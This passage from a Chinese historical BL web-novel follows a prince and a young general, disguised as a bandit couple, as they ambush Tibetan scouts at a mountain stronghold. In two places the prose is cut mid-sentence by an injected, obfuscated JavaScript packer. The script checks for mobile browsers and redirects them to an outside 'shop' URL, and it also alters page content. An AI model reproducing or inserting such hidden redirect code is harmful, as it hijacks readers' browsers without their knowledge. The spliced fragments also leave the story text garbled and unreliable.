这“匪患”二字,名声虽大,实情却也并非全是捏造。徐正义、刘义等人,确实时不时在忠县、万县一带露头,仿佛游兵散勇,今日偷几匹官马,明日劫几袋官粮,兴致来了,连官员的屁股也敢划上一刀。官府自然不能不恼,于是隔些时日,便要凑个名目,合议“剿匪”,把陈正衡请出来,看看山势,好显得上下同心、政令有行。这一来二去,天子山的路径、蜈蚣寨的布防,便被他们摸得七七八八。 只是,真要动手,却又是另一桩账。 剿匪要银子,调兵要银子,死伤抚恤更是处处见钱。这些银两,与其抛进那不见底的山沟里,倒不如送往花坊酒肆,博个红袖添香、笑语相迎。再说税银,朝廷正赋之外,各样名目早已叠床架屋,层层加派,已经加收到百姓孙子的重孙子那辈,仍填不满几位老爷的胃口。既如此,又有哪个肯把到手的银子,真拿去剿什么匪? 陈正衡心里,自有一套算账的法子。 败退吐蕃残部,是他的罪;忠、万交界处刻意留出一片空地,默许其往来游走,乃至纵容屠村,也是他的罪,这些他认。可将天子山的舆图递出去,借吐蕃人的刀杀这群不知天高地厚的土匪,在他看来,却算不得什么大错。那群土匪平日里如老鼠一般,时不时钻出来咬上一口,扰得人心烦意乱。官府既懒得真剿,又嫌其碍眼,若吐蕃人肯代劳,一并屠了,岂不干净?于他而言,这反倒像是替地方除了个心腹之患。至于吐蕃人会不会借此为据,休养生息,继而反噬……那便是以后的事了。山高路远,祸起何方,自有后来的人去担。他眼下所思,不过是如何少一桩麻烦,多一分清净。至于蜀地安危,生民死活,从来不在这笔账里。 这些官场里的弯弯绕绕,迟铎几乎是一下便看明白了。地方如此,长安亦然,同是一根藤上结出来的烂果子,哪里还能分出什么清白浑浊来。 他与裴与驰对视了一眼,眼底皆是一片寒凉。 迟铎抬手,示意左右:“押下去。即日解送长安。” 陈正衡被拖了下去,迟铎将这桩兵部糊涂账,送回给了圣人。 裴与驰随即开口:“我曾替蜈蚣寨重新布过防,那些暗道机关皆已改过。吐蕃人若真要占山,必会先依陈正衡给的舆图探查虚实。” 他说到这里,看了迟铎一眼。两人目光一触,心下已是同一个念头——守株待兔。 图上的布防,依旧照旧,只是守在那里的,要换成他们自己的兵。 计策既定,兵马粮草也已齐备,本该同仇敌忾,偏偏两位主事的,此刻却在帐中起了争执。吵得连武秦都被点了名,拉来评理。 迟铎身为主将,此行本就非去不可。 蜈蚣寨山势险要,进退只在数道关口之间。吐蕃人若真要据山为营,来路如何封、退路如何断、伏兵该埋于何处,皆须主将亲眼看过,方能定夺。军令可以传,地势却难尽述,图纸画得再细,也不及立身其间来得分明。若只在帐中听报,不过是闭门造车。这些道理,本就无人不知。可真正让被拉来评理的武秦进退维谷的,却并不在此。 “为何非要我扮作女子?”迟铎先发难,指着那堆花花绿绿的衣裙,眉头拧得死紧。 裴与驰神色自若,答得从容不迫:“上山的男子本就不少。吐蕃此来,占寨之时还带着老幼妇孺,若途中所见尽是青壮,反倒扎眼,易生疑心。若因此把人惊退,再等下一回动作,不知要拖到何时。” 这一番话,条理分明,连停顿都恰到好处,翻遍兵书也挑不出错来。 迟铎眉头刚松,心里已然点头,觉得还是正事要紧。谁知那口气还没松到底,便听裴与驰又不紧不慢地补了一句:“你正好扮作我的夫人,随我一同采买年货回山。” 迟铎:“……” 帐中一静。 下一刻,迟铎冷笑一声:“你把你这身给我脱了。你去换女子衣裳,我来扮你的夫君。” 裴与驰面不改色:“我比你高。” 迟铎立刻接道:“那我也不是什么瘦弱矮小的模样,哪似女子?” 裴与驰闻言,竟真的略一思索,目光在他身上转了一圈,像是在重新掂量什么,“土匪行事,本就不讲究这些。山中妇人,壮实高大些,也寻常。” 他说到这里,视线在那劲瘦的腰身处略停了停,像是终于有了结论,“好生养。” “裴、与、驰!” 话音未落,掌风已至,迟铎一张脸涨得通红,情意绵绵剑,再度登场。 武秦站在一旁,默默往后退了半步,心中只剩一个念头:果然,这世道最倒霉的,永远是他们这些被迫听墙角的下属。 最后…… “狸奴,你再磨蹭,就错失良机。” 迟铎对着门外飞了一个眼刀。隔着门板,对方虽看不见,这口气却不能不出。 手里这身衣裳层层叠叠,系带繁复,袖口细收,行一步便牵动三处,分明是给深闺之中、不染风尘的闺秀穿的。别说下地锄田,便是多行几步山路,都觉累赘。山中妇人砍柴挑担、下田锄地,衣裳向来只图利索,哪有这般拖沓的讲究? 迟铎越想越觉不对,心中冷笑一声,裴与驰怕不是有意诓他。 念头方起,门外便传来声音:“我这副模样,一眼便知是寨中当家。夫人若穿得寒素,反倒惹人生疑。” 迟铎:“……” 行。 这借口寻得滴水不漏。看来瘴气没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我不谙女子梳发之法。”迟铎先开了口,语气里带着几分破罐破摔,“你若嫌难看……” 裴与驰只回了三个字:“戴惟帽。” 迟铎一愣,下意识抬眼望向帐外。天色尚未放亮,西南林中雾气沉重,山路湿滑难行,这会儿戴惟帽,岂不是连脚下都难辨? “那般路况,你让我戴惟帽?”迟铎几乎不敢置信。 “我扶你走。”裴与驰语气不容置喙,“再不行,便背。” 话音才落,他已俯身压下。这一吻并不久,将要退开之时,却偏偏在那颗天生上翘的唇珠上重重咬了几下。齿间用力,直咬得那处充血发麻。 “嘶——”迟铎低低抽了口气。尚未来得及骂人,裴与驰已面无表情地伸手,指腹重重按住那被咬红的地方。动作算不上温和,反倒带着几分不耐,像是嫌那点天生的弧度太过碍眼,竟真有几分要将其按平的意思。 折腾到最后,裴与驰似乎也失了耐性,随手扯过一条红帛,将迟铎那一头乌发在脑后松松一束,手法并不讲究,任由碎发垂落,遮住小半张脸。紧接着,一顶皂纱惟帽兜头罩下,将面容遮得严严实实。 迟铎心头一沉,暗道不好。他身量本就比寻常女子高挑,如今再顶着这么个累赘之物,立在人群之中,未免太过显眼,岂非成了现成的靶子?裴与驰怕不是存心要看他出丑。只是这口怨气尚未来得及化作抱怨,待他一脚踏出帐外,看清那群早已整装待发的“同行姐妹”,便生生噎回了肚子里,顷刻散了个干净。 那些大头兵,衣裳倒是寻常妇人样式,只是一色高髻、满脸红粉。更有甚者,走动之间衣襟微鼓,分明是往怀里塞了两个馒头,鼓鼓囊囊,极不自然。往他身边一站,反倒显得他这副披发帛束、惟帽遮面的模样,最是妥帖不过。 迟铎默默看了片刻,心中忽然生出个念头,殿下方才那番折腾,简直是大恩一桩。 若非这顶惟帽遮掩,此刻最惹眼的,怕就不是那几个红脸的“馒头精”,而是他自己了。只是这点笑意还未在心头站稳,便又很快散了。那些“馒头精”们,虽妆容狰狞,看着不像善类,脚下却是半点不含糊,一个个裙摆至膝,踩着崎岖山路健步如飞,转眼便将人甩在身后。 反观迟铎,这身衣裳实在不争气。裙摆繁复,层层叠叠缠在腿上,步子稍迈大些便要绊住;那顶惟帽更是添乱,纱罩之下雾气沉沉,眼前一片混沌,连脚下是石是泥都分不清,只能凭着感觉深一脚、浅一脚地往前探,每一步踏出去,都像走在薄冰之上。 迟铎咬着牙,心中暗骂,直到此刻才彻底明白,这穿裙子行路的本事,竟比在颠簸马背上斩敌将首级,还要难上三分。 念头方起,脚下便踩上了一块松动的青苔。 还未等他惊呼出声,腰间忽然一紧,整个人已被人带离地面,稳稳横抱入怀。天旋地转之间,惟帽白纱轻轻晃动,眼前那层恼人的雾气骤然散去。迟铎下意识伸手去抓,指尖却只堪堪攥住对方衣襟的一角。 “我说过,”裴与驰的声音近在耳畔,“不行便背,再不行,便抱。” 山风忽起,掀动惟帽一角。 迟铎原本欲开口,话到唇边却生生止住。这个角度看过去,实在近得过分。 许久不见,裴与驰的轮廓愈发深刻。属于少年的那点尚存的柔和,似在被这数月的风霜与杀伐一点点磨去,下颌线条利落分明,不见半分多余软肉。鼻梁高挺笔直,透着一股冷硬的英气,与迟铎那点天生微翘的鼻尖截然不同。唯有睫毛生得极长,垂落下来,在眼睑下投出一层鸦青色的阴影,将眼底情绪尽数遮住,只余一抹疏离冷意。 迟铎便这样看着,一时竟忘了要移开目光。 裴与驰察觉到怀中那道毫不遮掩的视线,脚步微微一顿,眉心几不可察地紧了一下。数月不见,这只狸奴越发不成体统。往日他在外,从不会露出这般神情——眼睛睁得这样大,隔着薄纱毫无防备地望过来,唇微微张着,像是下一刻便要凑上来索取什么。尤其那颗天生上翘的唇珠,此刻近在咫尺,更显得不守分寸,将“规矩”二字全然抛在一旁。 裴与驰的耐性,便是在这一刻,一点点耗尽。 “把帽子戴好。”语气冷硬,带着不容忽视的警告,“你若再这样看着我,我便当众亲你。” 走在一旁的武秦耳尖一动,话音才入耳,脚下便像生了风火轮一般,连头都不敢回。他手一挥,赶鸡似的将前头那群仍在探头探脑的“老幼妇孺”往前驱了几步,生怕有人慢上半步,撞破了主子的“好事”。 迟铎脸上一热,忙伸手按住惟帽边沿,将面容遮得严实了些,却又忍不住隔着纱悄悄去看。帷幕重重,雾气缭绕,只影影绰绰见个轮廓,终究看不分明,心中反倒生出几分说不清、道不明的遗憾来。 山路本就难行,又是一段陡坡。裴与驰怀中抱着个大活人,步子却很稳,行走之间,连一丝晃动也无。与那些膀大腰圆的壮汉不同,他身形修长挺拔,肩背线条利落,全是薄而紧实的筋骨,看不出半点浮肉。 “你放我下来吧。”迟铎在他怀里动了动,低声嘟囔,“这路不好走,我自个儿能行……” “安分些。”裴与驰连眼皮都未抬一下,“连自家夫人都抱不住,还当什么匪寨当家。” 迟铎唇角一紧,下意识咬住了唇,这人……入戏太深,竟真把自己当成了土匪头子。 那点腹中嘀咕尚未转完,耳廓忽地一热,裴与驰借着向上托抱、略作调整的空当,自然而然地偏了偏头,趁着两人贴得极近,低声将话送入他耳中: “……皇子妃,亦是如此。” 话音才落,迟铎只觉胸口“咚”的一声,撞得耳根发烫。他索性闭了眼,将那张发热的脸往裴与驰颈窝里一埋,学那狸奴藏首,只求遮个严实。慌乱之间,竟将头上还戴着惟帽的事全然抛到脑后。隔着这一层纱,裴与驰原本也看不见他脸上的红意。 下一刻,迟铎心头却猛地一紧—— 不好。 贴得这般严丝合缝,他这点没出息的心跳声,怕是早已被裴与驰听了个清楚。 23. 景恒哥哥 “狸奴。”裴与驰忽然作势将他往上一颠,借着这一晃,贴着他耳廓压低声音,“借帷帽遮着,往后瞧一眼,右后。” 迟铎心头微凛,面上却半分不露,只顺势往他肩头一伏,撩开白纱一角飞快扫去几眼。片刻之后,指尖在他肩上轻轻点了三下,声音细若游丝:“三个。虎口有茧,下盘稳当,猎户装束,在数我们人头” 裴与驰听罢,眼皮都没掀,只低低“啧”了一声,下一瞬,他忽地脚步一顿,手一松,竟毫无征兆地把人放了下来。 “沉得紧。”三殿下拧着眉甩了甩腕子,语调嫌弃得要命,声量却放得极响,“夫人近日可是吞了秤砣?抱得我手都发酸。自己走几步。” 迟铎:“……” 他在帷帽下把牙磨得咯咯作响。好个混账,分明存心报复。 武秦一直眼观六路,见状立时刹住脚步,转身堆出一脸谄媚,点头哈腰道:“当家的,可是累着了?要不小的替您——” “滚。”裴与驰眼风都懒得赏他一个,“我的女人,也轮得到你来抱?” 迟铎:“……” 三皇子殿下若哪日落难戏班,保准是台柱子,开口就能赚满堂彩。 这一停一骂,后头那三个“猎户”便再无回避之处,只得迎面撞上。山道本窄,三人背柴挎弓,脚下虽停,手却齐齐往腰后探去,眼神一瞬便冷了下来。 “哎哟——!!” 队伍最前头,一个穿大红花袄、顶着冲天髻的“妇人”忽地怪叫一声。也不躲也不闪,自腰间抡出一把卷了刃的柴刀,对着草丛便是一记狠劈!刀口虽钝,力道却猛。草叶连石带蛇,被砸得血溅当场,一条过山风还未来得及吐信,便断成两截。 那三个探子手上的动作当即僵住。“妇人”单手叉腰,挥着还滴血的柴刀冲他们唾了一口。嗓音尖细,操着七拼八凑的土话:“看锤子看!没见过老娘杀蛇啊?” 迟铎在帷帽下眼皮微跳,他当真不知羽林卫里还藏着这等妙口奇才。 裴与驰揽着迟铎站在路中央,眼皮懒懒一掀,仿佛只瞧见几只碍路的蚂蚁。他脸色阴沉,抬脚将一块碎石踢飞出去,冲着自家人骂道:“嚎什么嚎!”骂完才像是想起那三人,语气不耐:“看够了?滚开。” 那三名探子对视一眼,肩背渐渐松下。暴躁粗鄙的男人,泼辣愚钝的女人,破柴刀、破骂声,一行人怎么看都像山里走出来的莽匪。三人眼底掠过一抹轻蔑,侧身让路,低头赔笑。擦肩而过的刹那,迟铎缩在裴与驰怀里,隔着帷帽轻轻扯了扯他衣袖。他自知学不来那般泼辣腔调,索性一声不吭,把脸往他怀里一埋,十足十被吓坏的娇娘模样。 裴与驰脚步不停,只低头扫他一眼,语气冷淡:“娇气。”说罢,竟又一把将人横抱而起,连余光都懒得给那三人,抱着人径直越过山道。 绕过两道山弯,确认后头再无人尾随,队伍里的气息才松快了下来。裴与驰揽在迟铎腰侧的手还未收回,便被人狠狠掐了一把。 “……娇气?” 裴与驰这回倒不坚持,顺势松手,只是迟铎脚尖刚沾地,身形还未稳,他已极自然地在腰后一托,待人站直,立刻收回。 “过河拆桥。”裴与驰理了理袖口,“靖武伯这一手,炉火纯青。” “方才在人前,”他偏头看他,似笑非笑,“埋首、扯袖,整个人都往我身上贴。那模样,戏台子上的娇娘见了都要退三分。” 迟铎额角一跳。 裴与驰还不肯收手:“如今人一散,山风一吹,靖武伯便端起架子,冷眉冷眼,恨不得与我划清界限。” 他慢悠悠叹了一声,“这般用完即弃——”话音顿住,“着实寒心。” 迟铎在帷帽下深吸了一口气,暗自告诫自己莫与这等颠倒黑白之人计较。站稳之后,抬手掀开帷帽一角,欲透一口山风。不料一回首,所见情状直教他眉心一跳。方才还扭腰摆臀、翘指骂街的“妇人”们,一见四下无人,登时原形毕露。或往路旁青石上一蹲,大马金刀;或撩起裙摆当扇摇风,两条黑毛腿晃来晃去;更有几个走得饥火上涌,伸手自胸前一掏,竟掏出两个还带体温的大白馒头,张口便啃。 “饿煞人也。”一边嚼,一边骂骂咧咧,“这两坨捂了一路,尽是汗味,差点馊脱。” 旁边那人斜他一眼,满脸嫌弃,却仍伸手抢去一个,“馊了你还吃独食?留一个与老子。” 迟铎默默把帷帽放下。幸而裴与驰非真被草寇所挟。若单凭眼前这群货色,莫说守蜈蚣寨,怕是连个破山坳都攻不进。 言语之间,寨门已在前头。徐正义早立于吊脚楼下候着。自打知晓三殿下与靖武伯情分深重,又见靖武伯麾下精锐入寨巡防,寨中兄弟的妻儿老小俱已安置下山,徐正义心下早是服气。他拍着胸脯说,男儿在世,当为国守土,这帮绿林弟兄愿与官军并肩,只待吐蕃蛮夷自来送死。 此刻远远瞧见自家老大领着一群花枝招展的“女眷”上山,他心下尚在寻思,莫非传闻中的娘子军到了?待人走近,看清那一张张面孔,再瞧那边走边啃馒头的狼吞虎咽,徐大当家只觉脚下一软,险些从木栏边翻下去。 “先人板板……”他死死扣住栏杆,眼珠子几乎掉出来,“这是啷个名堂哦?哪路神仙下凡喃?” 及至瞧见走在前头、一身短褐却掩不住贵气的裴与驰,又看他身侧那戴着帷帽、身姿挺拔如松的人影,徐正义这才回魂,干咽了一口唾沫,小心唤道:“……殿下?” 裴与驰颔首,抬手往后一指,道:“徐大当家,劳烦腾处地界,让这些把脸洗了。” 徐正义望着那群为馒头推搡吵嚷的“妇人”,再想想这是要同守山寨的官军,脸色一时精彩得很。他目光转向裴与驰身侧那人,迟疑问道:“那这位……又是哪个?” 迟铎方欲揭帽示礼,手背已被按住,力道不容置疑。裴与驰神色如常,还顺手替他将垂下的白纱理整,将那一点下颌线遮得更严实几分,方才道:“这位是靖武伯,迟铎。” 徐正义怔在当场。 啥子哦? 这位身段修长、遮得严严实实的“俏娘子”,竟是那个少年将军? 徐大当家心头直犯嘀咕:啷个楞个怪哦?大男人戴个帷帽是啷个意思?莫不是长得太磕碜见不得人?还是脸上有啥子吓死人嘞刀疤?路都看不清,他是啷个爬上山的嘛? 他又想起刘义那龟儿子。回来之后神戳戳的,问起殿下与靖武伯的交情如何,那脸色跟吞了个癞蛤蟆一般,支吾半日,才挤出一句:“反正……好得很咯,要命得很的那种好。” 徐正义尚在思量间,裴与驰已不再理会他那张纠成一团的脸。极自然地揽过迟铎肩头,也不唤人引路,径直往寨中最干净的那间吊脚楼行去,只淡淡丢下一句:“一路风尘,我带他去换身衣裳。不必跟着。” 迟铎被他牵着,在寨中七拐八绕。山路盘旋如蛇,吊脚楼层层错落,木梯带湿,苔痕青碧,山风自堂前穿过,挟着松脂与潮气,吹得人一时辨不清来路归处。裴与驰却走得从容不迫,转角之处连半步迟疑也无,脚下似生了眼睛。仿佛这蜈蚣寨并非借宿之所,而是他自家院落,灶房在何处,后门往哪开,都已熟得入骨。 迟铎起初尚觉无语,走着走着,心却一点点沉下去。 屋舍一间间掠过。山下老幼已安置妥当,营帐灯火次第点起;山上虽人去声空,门前草药未收,梁下兽皮犹挂,灶灰未扫,皆是昨日烟火的余痕。裴与驰行在其间,从容自若,毫无寄人篱下之态,倒似此寨本属他家。若此情传回长安,便是现成把柄。三皇子抚众安民,与百姓同食同住,人心渐向其身。圣人高坐龙庭,闻得“民心”二字,岂能不动念?父子之间,本隔天家之礼;再添一层归附之势,君臣之分,顷刻可化为锋刃。 他心中不安愈滚愈大。偏偏裴与驰掌心温热,指节扣得极紧,像怕他走丢。越是这般,迟铎越觉胸口发闷,你牵得住我,却牵得住长安朝堂里那层层暗涌么?圣心难测,言官如刃,哪一样是手能按住的? 迟铎最后被带入一间屋子,窗明几净,案几无尘,连角落都整洁妥帖。随身衣物叠得齐整,茶盏摆放分明,显然住得时日不短,也住得安心。裴与驰松了手,帮他取下惟帽,转身在案边翻找片刻,取出一件锦袍递来,“狸奴,换这个。” 迟铎低头看去,指尖微颤。那是他在火起营地之中,疯了般想找却不敢找的那件锦袍。他不敢翻得太深,怕真翻出一截焦袖;也不敢看得太久,怕看见焦黑锦纹。如今却完好无损地落在掌心,皂香尚存。迟铎喉头一紧,积压许久的烦意、惊惧、后怕,一齐涌上来,堵得他胸口生疼。出口的话,却酸得像是咬了口未熟的青梅。 “三殿下果然风流,走到哪儿,便爱到哪儿。” 话音一落,屋中静了片刻。迟铎自己都觉刺耳,却已收不回。他垂眸摩挲衣料,像怕一用力便会碎。塞北风雪是如此,蜀地山寨亦如此。无论何处,裴与驰总能站稳脚跟,仿佛换个地方,不过换条路走。 那他们呢? 他们的旧事呢? 换了旁人,也能如此熟稔?换了别人,也能牵着走得这般自然? 裴与驰动作微顿,转身过来,眼底笑意已收得干净,神色冷了下来。 “那你呢?”他上前一步,将锦袍随手搁回案上,“迟小将军回信里不是写得分明?说你在长安校场如鱼得水,日子清净自在。” 目光落在迟铎脸上,像要剖开看个透彻。 “怎么,”他唇角微扯,寒意更重,“那几个月里,你可认得什么新的好哥哥、好弟弟?” 迟铎一怔。下一瞬,下颌已被扣住,力道极重,逼得他仰起脸来。 “不然你如今怎会时不时露出这般毫无防备的模样?”裴与驰俯身,声音压得极低,“是对旁人露得惯了,收不回去么?” 迟铎:“?” 迟铎脑中轰然一响。什么好哥哥?他在校场把那群世家子弟练得满地找牙,那些人追着喊“大哥”,是服气、是求饶!哪来的情哥哥! 他猛然想起那封回信。裴与驰先在信里阴阳,说他有“主母风范”,他气不过,才写自己在羽林卫风生水起,众人服帖,个个喊“大哥”。谁知这人竟歪到这处去了。 迟铎脸色涨红,气得几乎发懵,“裴与驰,你——” 什么叫“毫无防备”?什么叫对旁人露得惯了?除了他,他还能对谁露出那副模样? 怒火与委屈一齐涌上来,他抬脚便狠狠踩在那双官靴上,咬牙骂道:“你这个没良心的!” “除了你还有哪个哥哥?” 话一出口,心底那道闸门忽地松了。像被逼到绝处的小兽,索性露出肚皮,翻出最软的地方来。 “谁还有那本事,能让我哭得那样惨、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239961|197682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抖得那样厉害——”话到一半,猛地顿住,耳根已红透,却终究咬牙说了下去。 “却还……不知羞耻地只想要你。” 屋中霎时寂然。 裴与驰却未如他所料嘲弄半句,连半分戏谑都没有,只低头看着他,目光很冷,像是要把他从头到脚看穿。 良久,方缓声开口。“你什么时候——”指腹仍扣在他下颌,力道却已松了些,“喊过我哥哥?” 迟铎整个人如遭霹雳。羞意未褪,又被这一问逼得心头微乱。委屈、惧意与那点说不清的惶惑,一时齐齐翻涌。他原欲啐他一句不要脸,分明是他先提什么“好哥哥”。可话到唇边,对上那双眼睛,却忽然失了锋芒。 那眼底的冷意,并非讥刺,倒像压着一层久未宣之的不安。 数月不见,他在惧什么?惧人心易改?惧旧情渐薄?抑或惧长安风雪一场,便将他从自己心上吹落? 迟铎心口微紧,忽然向前一步,低头贴近,声音低了下来:“我这一声哥哥,除了你,还能唤谁?” 说罢,当真抬眸看他,轻轻唤了一声:“景恒哥哥。” 这一声出口,连他自己都觉耳根滚烫。可他看得分明,那层冷意与疏离,不过是护心的壳子。壳子之下,悬着一颗不肯示人的心,惴惴如弦。 说到底,还不是怪这人专断独行,药倒了他,自作主张,将他隔在风雪之外。若当初肯许他同行,何至今日多生枝节?想到此处,他也不再回避,抬首直视:“还不是你非要药倒我。若肯让我请命随行,何至于——” 话音未落,唇已被夺。 裴与驰冷着脸,几乎是在那一声“景恒哥哥”落下的瞬间便压了下来。没有半分小意温存,唇落下时带着几分近乎恼怒的急切。那四个字在他耳边回荡得太过亲昵,太过不守分寸,像是未过门便先认了名分,偏生还唤得温软低柔,毫不知羞。他索性俯身,将那张不肯守规矩的嘴堵住,不许它再这样勾人。 气息乍然相撞,他偏去碾那总是翘着的唇珠。那一点弧度生得不肯安分,叫人看得心生恼怒。平日微抿便带几分讥诮,如今情动之下,愈见润泽鲜红,愈发招摇。他含住,又细细碾过,似要将那份不知收敛的轻佻磨回去,叫它自此低伏。力道分明带着罚意,却迟迟不肯松开,仿佛这教训永无尽头。那弧度在他唇下微微发颤,他的气息却一寸寸沉重下来,向来冷淡的神情绷得愈紧。 迟铎被逼得后仰半寸,恼意随即涌上来,抬手揪住他衣襟,将人扯回,不退不避地迎上去。谁也不肯低头,唇齿交错之间不像温存,倒像一场无声的较劲。越是恼,越贴得紧,越贴得紧,越不肯放。 那点猜疑,那点离散的怨气,全在唇间化开。 山风自窗隙掠入,颊边发丝轻扬。 刘义:“……” 他与孟知武等人巡山寻迹,方见吐蕃探子踪影,急急折返来禀。听闻殿下已回,脚步更快,唯恐误了军机。谁知刚到廊下,便见屋内人影相叠。 刘义当场僵在门边。 殿下不是与靖武伯一对鸳鸯么?怎的又与女子亲在一处?而且那般难解难分,与先前坡顶夜色之中,竟无二致。 那“女子”乌发垂颊,闺秀长裙曳地,不似山中妇人利落装束。只露得半边侧影,肌色莹润,鼻梁高起,鼻尖微翘。虽未见全貌,单凭这半面轮廓,也当是个玉骨芙蓉的美人儿。身形虽较寻常女子高挑几分,与殿下立在一处,却说不出的相衬。 刘义脑壳登时转不过弯。 他先前费了好大一番心思,方把自家那点别扭捋顺,还在心里替二人立了块无字贞节牌坊,几乎要焚香三炷,请天地为证:两个男儿,纵有龙阳之好,却情深意重,同生共死,共赴刀山火海。那等情分,岂是凡俗男女可比?真真情之所至,生可以死,死亦可复生。 他还暗叹过:好一对璧人。 这一转头—— 殿下却在与女子亲嘴。 刘义脑壳“嗡”地一响,“这、这……”他低声嘀咕,“哎呀娘咧,这是闹哪样咯?” 莫不是殿下情海浩荡,男女两便,俱入怀中?左拥战场知己,右抱红粉佳人,齐人之福,一并笑纳? 念及此处,他自己都被自己惊出一身冷汗。“啧啧,”他暗自摇头,“原来殿下这等人物,情路竟似盘山路,弯弯绕绕,叫人摸不着头脑。” 若说移情别恋,靖武伯那般俊俏少年郎,杀敌如风,情义如山,岂是说换便换?若说两头兼顾,那气象,倒真像话本里写的风流英雄:一边是生死相许的英豪,一边是月下含情的佳人,情债缠身,爱恨交织,教人看得热闹,又替他心焦。 他越想越觉玄妙,忍不住叹道:“情之一字,最是磨人。英雄豪杰,到这关头,也要打个趔趄。” 正踟蹰进退,屋内忽然止了动静。 两道目光齐齐望来。 裴与驰:“……” 迟铎:“……” 刘义:“……” 这一下他才看清,人没变,还是那一个。不过一日之前,尚是黑衣劲装,目光如刃,活似山中夜魇;如今乌发披落,棱角被发丝与裙裳掩去,只余白净尖俏的下颌与含着几分潮意的朱唇,站在殿下身侧,竟真似闺中娇人。 一刚一柔,不过须臾。 刘义喉头一滚,脑壳里只剩一句—— “啷个这么复杂哦。” 24. 红衣策马擒敌首 刘义只觉后背凉飕飕的,喉头滚了滚,下意识往后退了半步,心里暗骂自己命苦,回回撞破殿下的家务,简直像赶着把脑袋往刀口上递。 裴与驰却神色如常,脚下微移半步,将迟铎往身后一拢,抬手慢条斯理地取过案边的惟帽,稳稳扣回迟铎头上。白纱一落,垂得严丝合缝,将狸奴的神色尽数遮去。 方才房中那一瞬缱绻,不过幻影。 迟铎:“……” 刘义:“……” 刘义喉间滚了滚,低咳一声,将舆图在案上铺开,双掌压住图角,抱拳道:“殿下,方才同孟校尉巡山,于西侧断崖见着吐蕃探子,共四人,沿岩脊贴壁而行,速度很快。那条入寨的侧道,多半已被他们摸熟。” 迟铎自裴与驰身后走出一步,白纱在肩侧轻轻一晃:“东侧大道也遇见三个,扮作猎户。两路并发,不是试探。” 裴与驰轻“嗯”了一声,目光落在舆图上未曾移开:“他们既懂官话,自然也懂时令。岁除将近,山寨出入频繁,采买往来不断,岗哨难免松动。蜈蚣寨对老弱向来手软,这份心思在太平时候是义气,放在眼下却是破绽。”他说到“破绽”二字,指尖在正门位置轻点了一下,才抬眼看向迟铎,“我们今日扮老幼守寨,他们明日便可借老幼为饵。若真有人夜里叩门求宿借火,岗哨一动恻隐,门一开,人就进来了。” 迟铎抬指在舆图西侧缓缓划过,指腹沿着断崖线往下移:“他们不会火攻。寨中屋舍坚实,水源不断,粮仓尚在。吐蕃残部流窜至此,是为据山养兵,不会自毁现成的巢穴。”他指尖停在断崖尽头,“若以老幼在正门现身牵制,其前锋必趁乱自断崖潜入。断崖虽险,却可借岩脊掩形。依旧防图,自暗道入,便能直抵后寨。” 刘义眉心压低:“可若他们入暗道,察觉已被设伏呢?” “不会。”迟铎的手指仍压在图上,“吐蕃行军,向来先遣前锋试路,主力随后。前锋入内,见工事稍有改动,只会当山匪自保添设,不会想到京军在此。若与旧图分毫不差,反倒叫人生疑。” 裴与驰接道,袖口扫过案面,将舆图往西侧推开些:“他们遣老幼来,不过是要探寨中青壮多少,暗道是否仍通,后山退路可否走得。前两样看着无碍,便会压上。” 迟铎转身看向刘义,白纱微微一动:“刘义,传令。东侧岗哨照旧,若有老妪求宿,只放一人入寨。入寨之后供水,不设席。她若袖中藏药,必急于施用,近身拿下,不得走漏半点声息。若只是探路,放她回去,让她瞧见几处空处。” 裴与驰道:“西侧旧道不封。”他说话时已抬手指向入口,“入口略宽,引其深入;出口收窄。待前锋入内,三处机括同时落闸,以落石断其退路。崖上布弩压阵,不用火油,免得惊动后军。” “那侥幸突围的呢?”刘义屏住气问。 迟铎顿了一息,白纱下的下颌线绷住片刻,随即抬眼:“放他们半数入寨。” “关门打狗。” 明明知道眼前的是少年将军,可这一身闺秀打扮,裙摆曳地,纱帽低垂,怎么看都是个美娇娘。刘义目光在那曳地的裙角上顿了顿,又不自觉往上移,移到白纱下若隐若现的轮廓,随即猛地收回,心里直犯嘀咕:这莫不是移魂换魄?不然怎会前一刻还似端庄贵女,下一句便要关门打狗。 裴与驰道:“后山伏兵断退路,正门弓弩压阵。寨心留出空场,引他们自乱。不要尽歼,放三五个回去。”他说话时并未看人,只抬手在舆图上勾出几道弧线,指尖在“寨心”二字处停了停,才缓缓收回。 刘义听到这里,背脊一凛,抱拳的手指不由攥紧,心里便明白过来。放回去的那几条命,只会替他们传话,说蜈蚣寨早有准备,半个官字都不会提。吐蕃人骂两句晦气,也只当山匪难啃,不会往别处去想。 迟铎道:“西侧断崖架弩六具,暗道设三处塌门机括。夜里寨中只留三处残火,作松懈之态。东侧哨岗减半,轮值照旧。”他一边说,一边将指腹沿着断崖往下压,像是已经在山石间布好弩机。说到此处,白纱轻垂,在他下颌处晃了一下,只添了一句:“我要他们看见的,都是破绽。” 请君入瓮,生死自负。 刘义抱拳到底:“遵命。” 吐蕃人既已衔尾而至,为免露了马脚,迟铎自是不便换回甲胄。可若顶着惟帽布阵点兵,迟小将军忍了又忍,终究抬手将那惟帽摘了下来,随手搁在案角。他岂能隔着一层轻纱号令麾下将士? 两人为这顶帽子僵持了片刻。裴与驰的目光落在那身罗裙上,自裙摆曳地一路扫到腰际系带,停在那收束处,眉峰慢慢压下。本就后悔让狸奴作此打扮,此刻越看越觉碍眼。早知如此,倒不如当真叫这狸奴化回猫形,往怀里一揣,袖口一掩,谁也不许多看一眼。如今偏生顶着人样立在众人眼前布阵点兵,裙摆轻扫地面,纱影摇曳,旁人目光但凡多停一瞬,他便多生一分无名火。 奈何这只狸奴实在太会磨人。 